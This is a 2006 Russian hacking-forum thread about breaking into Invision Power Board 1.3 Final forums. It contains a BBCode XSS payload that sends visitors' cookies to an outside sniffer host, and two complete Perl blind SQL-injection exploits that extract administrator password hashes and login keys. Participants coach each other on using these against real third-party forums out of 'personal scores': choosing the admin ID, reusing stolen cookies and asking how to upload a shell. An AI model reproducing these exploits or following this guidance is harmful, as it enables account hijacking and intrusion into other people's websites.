Форумы Про уязвимости в Invision Power Board(U) v1.3 Final...

Discussion in 'Уязвимости CMS/форумов' started by oOLokiOo, 9 Aug 2006.

  1. oOLokiOo

    oOLokiOo New Member

    Joined:
    8 Aug 2006
    Messages:
    17
    Likes Received:
    2
    Reputations:
    0
    Кто-нибудь знает какие-нибудь дыры до сих пор работающие?
    З.Ы. Очень уж надо ;)
     
  2. BlackCats

    BlackCats Elder - Старейшина

    Joined:
    1 Feb 2006
    Messages:
    642
    Likes Received:
    630
    Reputations:
    -3
    сплоит:
    http://www.securitylab.ru/vulnerability/source/211900.php
    посмотри тут:
    http://forum.antichat.ru/thread15678.html
    и тут
    http://www.yandex.ru/yandsearch?stype=&nl=0&text=%E2%E7%EB%EE%EC+Invision+Power+Board%28U%29+v 1.3+Final+
    вот xss
    можно запостить как сообщение:

    [e*mail]wj@wj[u*rl=http://www.wj.com`=`][/url].com[/email] ` style=`background:url(javascript:document.images[1].src="http://antichat.ru/cgi-bin/s.jpg?"+document.cookie);`

    (Нужно убрать все *)
    Где http://antichat.ru/cgi-bin/s.jpg? Это ссылка на сниффер
    на данный момент куки должны прилететь сюда
    http://www.antichat.ru/sniff/log.php
    Советую создать свой собственный сниффер так как он более удобный чем паблик.
    и вот:
    http://rst.void.ru/download/r57ipb2.txt
    сплоит для похищения хэша

    Code:
    #!/usr/bin/perl
    
    ## Invision Power Board SQL injection exploit by RST/GHC
    ## vulnerable forum versions : 1.* , 2.* (<2.0.4)
    ## tested on version 1.3 Final and version 2.0.2 
    ## * work on all mysql versions
    ## * work with magic_quotes On (use %2527 for bypass magic_quotes_gpc = On)
    ## (c)oded by 1dt.w0lf
    ## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  ~~~~~~~~~~~~~~~~~~~~~~
    ## screen:
    ## ~~~~~~~
    ## r57ipb2.pl blah.com /ipb13/ 1 0
    ## [~]    SERVER : blah.com 
    ## [~]      PATH : /ipb13/
    ## [~] MEMBER ID : 1
    ## [~]    TARGET : 0 - IPB 1.*
    ## [~] SEARCHING PASSWORD ... [ DONE ]
    ##
    ## MEMBER ID : 1
    ## PASSWORD : 5f4dcc3b5aa765d61d8327deb882cf99
    ##
    ## r57ipb2.pl blah.com  /ipb202/ 1 1
    ## [~]    SERVER : blah.com 
    ## [~]      PATH : /ipb202/
    ## [~] MEMBER ID : 1
    ## [~]    TARGET : 1 - IPB 2.*
    ## [~] SEARCHING PASSWORD ... [ DONE ]
    ##
    ## MEMBER ID : 1
    ## MEMBER_LOGIN_KEY : f14c54ff6915dfe3827c08f47617219d
    ## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  ~~~~~~~~~~~~~~~~~~~~~~
    ## Greets: James Bercegay of the GulfTech Security Research Team 
    ## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  ~~~~~~~~~~~~~~~~~~~~~~
    ## Credits: RST/GHC , http://rst.void.ru , http://ghc.ru 
    ## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  ~~~~~~~~~~~~~~~~~~~~~~
    
    use IO::Socket;
    
    if (@ARGV < 4) { &usage; }
    
    $server    = $ARGV[0];
    $path      = $ARGV[1];
    $member_id = $ARGV[2];
    $target    = $ARGV[3];
    
    $pass = ($target)?('member_login_key'):('password');
    
    $server =~ s!(http://)!!;
    
    $request  = 'http://';
    $request .= $server;
    $request .= $path;
    
    $s_num = 1;
    $|++;
    $n = 0;
    
    print "[~]    SERVER : $server\r\n";
    print "[~]      PATH : $path\r\n";
    print "[~] MEMBER ID : $member_id\r\n";
    print "[~]    TARGET : $target";
    print (($target)?(' - IPB 2.*'):(' - IPB 1.*'));
    print "\r\n";
    print "[~] SEARCHING PASSWORD ... [|]";
    
    ($cmember_id = $member_id) =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg;
    
    while(1)
    {
    if(&found(47,58)==0) { &found(96,122); } 
    $char = $i;
    if ($char=="0") 
     { 
     if(length($allchar) > 0){
     print qq{bb DONE ] 
     
     MEMBER ID : $member_id
     };
     print (($target)?('MEMBER_LOGIN_KEY : '):('PASSWORD : '));
     print $allchar."\r\n";
     }
     else
     {
     print "\b\b FAILED ]";
     }
     exit();  
     }
    else 
     {  
      $allchar .= chr($i);
     }
    $s_num++;
    }
    
    sub found($$)
     {
     my $fmin = $_[0];
     my $fmax = $_[1];
     if (($fmax-$fmin)<5) { $i=crack($fmin,$fmax); return $i; }
     
     $r = int($fmax - ($fmax-$fmin)/2);
     $check = " BETWEEN $r AND $fmax";
     if ( &check($check) ) { &found($r,$fmax); }
     else { &found($fmin,$r); }
     }
     
    sub crack($$)
     {
     my $cmin = $_[0];
     my $cmax = $_[1];
     $i = $cmin;
     while ($i<$cmax)
      {
      $crcheck = "=$i";
      if ( &check($crcheck) ) { return $i; }
      $i++;
      }
     $i = 0;
     return $i;
     }
     
    sub check($)
     {
     $n++;
     status();
     $ccheck = $_[0];
     $pass_hash1 = "%36%36%36%2527%20%4F%52%20%28%69%64%3D";
     $pass_hash2 = "%20%41%4E%44%20%61%73%63%69%69%28%73%75%62%73%74%7  2%69%6E%67%28"; 
     $pass_hash3 = $pass.",".$s_num.",1))".$ccheck.") /*";
     $pass_hash3 =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg;
     $nmalykh    = "%26%231054%3B%26%231081%3B+%26%231088%3B%26%231072  %3B%26%231073%3B%26%231086%3B%26%231090%3B%26%2310  72%3B%26%231077%3B%26%231090%3B%21";
     $socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server", PeerPort => "80");
    
     printf $socket ("GET %sindex.php?act=Login&CODE=autologin HTTP/1.0\nHost: %s\nAccept: */*\nCookie: member_id=%s; pass_hash=%s%s%s%s%s\nConnection: close\n\n",
     $path,$server,$cmember_id,$pass_hash1,$cmember_id,  $pass_hash2,$pass_hash3,$nmalykh);
     
     while(<$socket>) 
      { 
      if (/Set-Cookie: session_id=0;/) { return 1; }
      } 
    
     return 0;
     }
     
    sub status()
    {
      $status = $n % 5;
      if($status==0){ print "\b\b/]";  }
      if($status==1){ print "\b\b-]";  }
      if($status==2){ print "\b\b\\]"; }
      if($status==3){ print "\b\b|]";  }
    }
    
    sub usage()
     {
     print q(
     Invision Power Board v < 2.0.4 SQL injection exploit
     ----------------------------------------------------
     USAGE:
     ~~~~~~
     r57ipb2.pl [server] [/folder/] [member_id] [target]
     
     [server]    - host where IPB installed
     [/folder/]  - folder where IPB installed
     [member_id] - user id for brute
     
     targets:
              0 - IPB 1.*
              1 - IPB 2.* (Prior To 2.0.4)
     
     e.g. r57ipb2.pl 127.0.0.1 /IPB/ 1 1
     ----------------------------------------------------
     (c)oded by 1dt.w0lf
     RST/GHC , http://rst.void.ru , http://ghc.ru
     );
     exit();
     }
    ещё сплоит:
    http://rapidshare.de/files/21359678/1.3_final.rar.html
    тема про уязвимости ipb:
    http://forum.antichat.ru/thread11615-v1.3+Final.html
    Invision Power Board <= 1.3.1 Login.PHP SQL Injection:
    http://www.milw0rm.com/id.php?id=1036
    вот ещё какойто скрипт:
    Code:
    use LWP::UserAgent;       $ua = new LWP::UserAgent;     $ua->agent("Mosiac 1.0" . $ua->agent);    if (!$ARGV[0]) {$ARGV[0] = '';}  if (!$ARGV[3]) {$ARGV[3] = '';}    my $path = $ARGV[0] . '/index.php?act=Login&CODE=autologin';  my $user = $ARGV[1];     my $iver = $ARGV[2];     my $cpre = $ARGV[3];     my $dbug = $ARGV[4];         if (!$ARGV[0] and !$ARGV[1] and !$ARGV[2] and !$ARGV[3])  {          print "Input like ./perl ./r57ipb.pl [addres] [userid] [version] [c_fix]\r\n";          print "[addres]  = like www.site.com/forum/\r\n";          print "[userid]  = user id\r\n";          print "[version] = 1 - v1.0.x or 2 - v2.0.x\r\n";  		print "[c_fix]	 = cookie prefix by defoult its ibf_\r\n";          exit;  }    my @charset = ("0","1","2","3","4","5","6","7","8","9","a","b","c","d","e","f");    my $outputs = '';    for( $i=1; $i < 33; $i++ )  {          for( $j=0; $j < 16; $j++ )          {                  my $current = $charset[$j];              my $sql = ( $iver < 2 ) ?  "99%2527+OR+(id%3d$user+AND+MID(password,$i,1)%3d%2  527$current%2527)/*" :  "99%2527+OR+(id%3d$user+AND+MID(member_login_key,$i  ,1)%3d%2527$current%2527)/*";                  my @cookie = ('Cookie' => $cpre . "member_id=31337420; " . $cpre . "pass_hash=" . $sql);                  my $res = $ua->get($path, @cookie);                    # If we get a valid sql request then this                  # does not appear anywhere in the sources                  $pattern = '<title>(.*)Log In(.*)</title>';                    $_ = $res->content;                    if ($dbug) { print };                    if ( !(/$pattern/) )                  {                          $outputs .= $current;                          print "$i char = $current\n";                      last;                  }            }    if ( length($outputs) < 1 )   { print "Not Exploitable!\n"; exit;     }  }  print "Cookie: " . $cpre . "member_id=" . $user . ";" . $cpre . "pass_hash=" . $outputs;  exit;    # milw0rm.com [2005-05-26]
    но скорее всего эт муль...(я от ipb 1.3)
     
    11 people like this.
  3. Sn@k3

    Sn@k3 Elder - Старейшина

    Joined:
    13 Apr 2006
    Messages:
    1,000
    Likes Received:
    438
    Reputations:
    90
    \6/ активно :) прям статья
     
    1 person likes this.
  4. BlackCats

    BlackCats Elder - Старейшина

    Joined:
    1 Feb 2006
    Messages:
    642
    Likes Received:
    630
    Reputations:
    -3
    угу! активно работаю! =)) хочу вернуть репу, и попасть в закрытые =)) и вообще, просто тема такая - прям захотелось собрать всё =))) интересно знаете ли...
     
    1 person likes this.
  5. Brun

    Brun Elder - Старейшина

    Joined:
    21 Mar 2006
    Messages:
    95
    Likes Received:
    57
    Reputations:
    16
    \6/ ты так класно описал дыры, а можеш ещё описать заплатки?
     
    1 person likes this.
  6. oOLokiOo

    oOLokiOo New Member

    Joined:
    8 Aug 2006
    Messages:
    17
    Likes Received:
    2
    Reputations:
    0
    Ого! На самом деле, по написал-то! ;)
    Спасибо большое! Уверен что не только мне понадобится.

    Давайте разбираться :) (я просто до этого ни когда таким не занимался, не надо было, да и теперь гадить не хочу, просто личные сЧёты. так что у меня только базовые знания...)

    Эксплоит пока попробовать не могу, т.к. завтра только Апачь со всем комплектом возьму...
    Пробовал сообщением в "предворительном просмотре", остаётся текст:
    [E*MAIL][email protected][/E*MAIL] ` style=`background:url(javascript:document.images[1].src="http://antichat.ru/cgi-bin/s.jpg?"+document.cookie);`

    Короче. "url" исчезает... (кстати, зачем вообще он там нужен ;)

    Так что, походу это не катит? Или я торможу и чё-то не то делаю :)?

    З.Ы. Вообщем помогите кто чем может плиз!
     
    #6 oOLokiOo, 10 Aug 2006
    Last edited: 11 Aug 2006
  7. Sn@k3

    Sn@k3 Elder - Старейшина

    Joined:
    13 Apr 2006
    Messages:
    1,000
    Likes Received:
    438
    Reputations:
    90
    http://forum.antichat.ru/thread15678.html
     
  8. oOLokiOo

    oOLokiOo New Member

    Joined:
    8 Aug 2006
    Messages:
    17
    Likes Received:
    2
    Reputations:
    0
    О! Извеняюсь что сразу не посмотрел. Сорьки!

    Короче подошёл этот вариант:
    [H*TML][E*MAIL][U*RL=wj`=`][/U*RL][/E*MAIL][/c*olor][c*olor=white]` style=`background:url(javascript:document.images [1].src="http://antichat.ru/cgi-bin/s.jpg?"+document.cookie)`[/color]

    После него в "предворительном просмотре" остаётся:
    [H*TML][E*MAIL][/E*MAIL][/c*olor]

    Правда если выделить текст, то и всё остальное видно ;)

    Но это походу только в IE прокатит, если я не ошибаюсь?
     
    #8 oOLokiOo, 11 Aug 2006
    Last edited: 11 Aug 2006
  9. oOLokiOo

    oOLokiOo New Member

    Joined:
    8 Aug 2006
    Messages:
    17
    Likes Received:
    2
    Reputations:
    0
    Походу после того как я отослал это сообщение, при чтеннии этой ветки в:
    http://www.antichat.ru/sniff/log.php
    Должны появляться куки, даже если я захожу на форум?
    Так вот, там ничего не появляется ;)

    И вообще, как определить чьи это куки пришли, перебором?

    Походу в member_id нужно ставить 1, что б зайти под админом? А из снифера из QUERY вставить в pass_hash?

    Правильно я понял концепцию? ;)
     
    #9 oOLokiOo, 11 Aug 2006
    Last edited: 11 Aug 2006
  10. Azazel

    Azazel Заведующий всем

    Joined:
    17 Apr 2005
    Messages:
    918
    Likes Received:
    213
    Reputations:
    154
    Не очень правильно ты понял. Куки те придут с той страницы, на которой открывается твоё сообщение с xss. В мембер ид надо ставить не 1, а мембер ид админа. Это не всегда 1. Узнаётся очень просто. Просто мышку на ник навести и внизу браузера ссылка отобразится.
     
    1 person likes this.
  11. oOLokiOo

    oOLokiOo New Member

    Joined:
    8 Aug 2006
    Messages:
    17
    Likes Received:
    2
    Reputations:
    0
    :) Я короче сглупил... Меня спутало - session_id в снифире, я пытался догнать как эту одну строку распихать по (member_id, pass_hash, forum_read) ;) Теперь я уже в курсе про сесии...

    Ладно, к сути:
    1.) Примеры с XSS прокатят только в IE?

    2.) Я перепробовал все XSS примеры из темы - "Обзор уязвимостей Ipb", (хоть как-то)преобразовался только один (цвет я добавил от себя):

    [H*TML][E*MAIL][U*RL=wj`=`][/U*RL][/E*MAIL][/c*olor][c*olor=#eef2f7]` style=`background:url(javascript:document.images [1].src="http://antichat.ru/cgi-bin/s.jpg?"+document.cookie)`[/c*olor]
    , но куки всёравно не отсылаються на снифер :(
    Посмотрел в код страницы:
    <BR><SPAN style="COLOR: #eef2f7"><BR>
    HTML:
    [EMAIL]<A href="http://wj`=`/" target=_blank></A>[/EMAIL]</SPAN><SPAN style="COLOR: #eef2f7">` style=`background:url(javascript:document.images 1].src="http://antichat.ru/cgi-bin/s.jpg?"+document.cookie)`</SPAN>
    Походу нифига не преобразовалось...
    Что делать?
    qBiN в своей статье писал что это прокатывает в 9и из 10и форумов, неужели я попвл в 10ый? ;)
    
    З.Ы. Кстати на "моём" форуме есть только таки тэги:
    [U*RL][I*MG][E*MAIL][Q*UOTE][C*ODE][L*IST][B*][I*][U*]
    Форум - Invision Power Board(U) v1.3 Final
    Может поможет чем...
     
    #11 oOLokiOo, 12 Aug 2006
    Last edited: 12 Aug 2006
    1 person likes this.
  12. Azazel

    Azazel Заведующий всем

    Joined:
    17 Apr 2005
    Messages:
    918
    Likes Received:
    213
    Reputations:
    154
    Если ты видишь код в браузере, значит xss не работает. Без разницы какого цвета.
    Ну звёздочки ты убрал разумеется?
    Попробуй скульники лучше.
    Ты не в 10 попал, просто времени много прошло.
     
  13. oOLokiOo

    oOLokiOo New Member

    Joined:
    8 Aug 2006
    Messages:
    17
    Likes Received:
    2
    Reputations:
    0
    Ясенько...
    Но там ведь некоторые тэги попроподали... url вроде пропал...

    Ну разумеется ;)

    Кого попробовать? :)

    Жаль...
     
  14. Azazel

    Azazel Заведующий всем

    Joined:
    17 Apr 2005
    Messages:
    918
    Likes Received:
    213
    Reputations:
    154
    Скульники - это sql инъекции. Это другой тип атаки. Удачи.
     
  15. oOLokiOo

    oOLokiOo New Member

    Joined:
    8 Aug 2006
    Messages:
    17
    Likes Received:
    2
    Reputations:
    0
    Вообщем поставил я себе Денвер2_ой, скачал эксплоит. И когда я его запускаю вот такие ошибки выдаёт:
    loki2004.nm.ru/shot.GIF

    Пробовал через батник:
    ---
    start C:\WebServers\usr\bin\Perl.exe C:\ex.pl goodboard.ru /name_of_forum/ 1 0
    ---
    Вообще 0 реакции... открыло консольку и моментом закрыло... Ставил "pause" смотрел, ничего вообще не выдаёт...
    Шо за магия такая?... ;)

    З.Ы. Кстати я хоть в правильном месте писал имя форума? А то меня сбивает что он называеться не "forum" как в большинстве
    случаев, а там идёт так - "http://SOME_NAME.goodboard.ru/"

    З.Ы.Ы. За что отвечают последнее / 1 0?
     
  16. Gho_st

    Gho_st Elder - Старейшина

    Joined:
    24 Jun 2005
    Messages:
    79
    Likes Received:
    9
    Reputations:
    3
    народ форумы
    Invision Power Board(U) v1.3 Final
    на 0bb.ru/
    вообще уязвимы или там уже все дыры прикрыты
    если да то какой сплойт юзать.. уже кучу всего перепробывал и безрезультатно
     
  17. Lesha Lomalkin

    Lesha Lomalkin New Member

    Joined:
    16 Dec 2005
    Messages:
    9
    Likes Received:
    1
    Reputations:
    0
    Помойму нада так:
    1 и 0 Это помойму зависит от версии движка, для 1.х и для 2.х... Вроде так. Удачи.
    Добавлено:
    А вообще посмотрел несколько форумов, похоже там скульников нет :(
     
    #17 Lesha Lomalkin, 14 Aug 2006
    Last edited: 14 Aug 2006
  18. Gho_st

    Gho_st Elder - Старейшина

    Joined:
    24 Jun 2005
    Messages:
    79
    Likes Received:
    9
    Reputations:
    3
    воопрос на не прощели просто в cmd указывать путь до эксплоита и команду..
    али это только с актив_пером пашет
    (ибо с денверовским перлом не проверял)
     
  19. T3st3R

    T3st3R New Member

    Joined:
    17 Jul 2006
    Messages:
    12
    Likes Received:
    3
    Reputations:
    3
    в стандартном денвере мало пакетов перловых. так что либо качай дополнительно Perl для денвера, либо ActivePerl. второй даже лучше, тк там есть ещё кроме всего прочего документация для перл.
     
  20. roman_gt

    roman_gt New Member

    Joined:
    4 Apr 2006
    Messages:
    21
    Likes Received:
    0
    Reputations:
    0
    как мне залить шелл на Ipb 1.3 через смайлы и скины не получается можна как нибудь по другому?